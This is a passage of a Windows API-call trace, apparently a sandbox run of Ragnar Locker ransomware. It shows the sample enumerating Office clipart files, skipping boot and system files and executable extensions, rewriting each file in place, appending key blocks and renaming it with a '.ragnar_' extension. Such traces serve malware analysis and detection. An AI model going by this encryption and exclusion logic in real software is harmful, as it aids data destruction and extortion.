lpNewFilePointer=0x0) returned 1 [0084.367] GetProcessHeap () returned 0x580000 [0084.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.367] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.370] VirtualAlloc (lpAddress=0x0, dwSize=0x1068, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.371] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1068, lpOverlapped=0x0) returned 1 [0084.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.371] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1068, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.371] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1068, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1068, lpOverlapped=0x0) returned 1 [0084.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1068, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.372] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1068, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.372] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.372] GetProcessHeap () returned 0x580000 [0084.372] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.372] CloseHandle (hObject=0xf4) returned 1 [0084.372] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" [0084.372] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ragnar_FD7BD9FC" [0084.372] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.373] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0084.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.373] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107502.WMF" | out: lpString1="J0107502.WMF") returned="J0107502.WMF" [0084.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned=".WMF" [0084.373] lstrcmpiW (lpString1="J0107502.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.373] lstrcmpiW (lpString1="J0107502.WMF", lpString2="autorun.inf") returned 1 [0084.373] lstrcmpiW (lpString1="J0107502.WMF", lpString2="boot.ini") returned 1 [0084.373] lstrcmpiW (lpString1="J0107502.WMF", lpString2="bootfont.bin") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="bootsect.bak") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="bootmgr") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="bootmgr.efi") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="bootmgfw.efi") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="desktop.ini") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="iconcache.db") returned 1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="ntldr") returned -1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="ntuser.dat") returned -1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="ntuser.dat.log") returned -1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="ntuser.ini") returned -1 [0084.374] lstrcmpiW (lpString1="J0107502.WMF", lpString2="thumbs.db") returned -1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.374] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0084.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.374] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10836) returned 1 [0084.374] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.375] GetProcessHeap () returned 0x580000 [0084.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.375] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2a54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.376] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a54, lpOverlapped=0x0) returned 1 [0084.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.377] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a54, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.377] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a54, lpOverlapped=0x0) returned 1 [0084.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.378] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.378] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.378] GetProcessHeap () returned 0x580000 [0084.378] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.378] CloseHandle (hObject=0xf4) returned 1 [0084.378] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" [0084.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ragnar_FD7BD9FC" [0084.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0084.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.379] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107512.WMF" | out: lpString1="J0107512.WMF") returned="J0107512.WMF" [0084.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned=".WMF" [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="autorun.inf") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="boot.ini") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="bootfont.bin") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="bootsect.bak") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="bootmgr") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="bootmgr.efi") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="bootmgfw.efi") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="desktop.ini") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="iconcache.db") returned 1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="ntldr") returned -1 [0084.379] lstrcmpiW (lpString1="J0107512.WMF", lpString2="ntuser.dat") returned -1 [0084.380] lstrcmpiW (lpString1="J0107512.WMF", lpString2="ntuser.dat.log") returned -1 [0084.380] lstrcmpiW (lpString1="J0107512.WMF", lpString2="ntuser.ini") returned -1 [0084.380] lstrcmpiW (lpString1="J0107512.WMF", lpString2="thumbs.db") returned -1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.380] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0084.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.380] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11404) returned 1 [0084.380] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.380] GetProcessHeap () returned 0x580000 [0084.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.380] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2c8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.382] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c8c, lpOverlapped=0x0) returned 1 [0084.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.383] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.383] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c8c, lpOverlapped=0x0) returned 1 [0084.383] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.383] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.384] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.384] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.384] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.384] GetProcessHeap () returned 0x580000 [0084.384] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.384] CloseHandle (hObject=0xf4) returned 1 [0084.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" [0084.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ragnar_FD7BD9FC" [0084.384] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.385] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0084.385] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.385] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107514.WMF" | out: lpString1="J0107514.WMF") returned="J0107514.WMF" [0084.385] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned=".WMF" [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="autorun.inf") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="boot.ini") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="bootfont.bin") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="bootsect.bak") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="bootmgr") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="bootmgr.efi") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="bootmgfw.efi") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="desktop.ini") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="iconcache.db") returned 1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="ntldr") returned -1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="ntuser.dat") returned -1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="ntuser.dat.log") returned -1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="ntuser.ini") returned -1 [0084.385] lstrcmpiW (lpString1="J0107514.WMF", lpString2="thumbs.db") returned -1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0084.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.386] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12204) returned 1 [0084.386] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fa3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.386] GetProcessHeap () returned 0x580000 [0084.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.386] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2fac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.388] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x1eaf34, 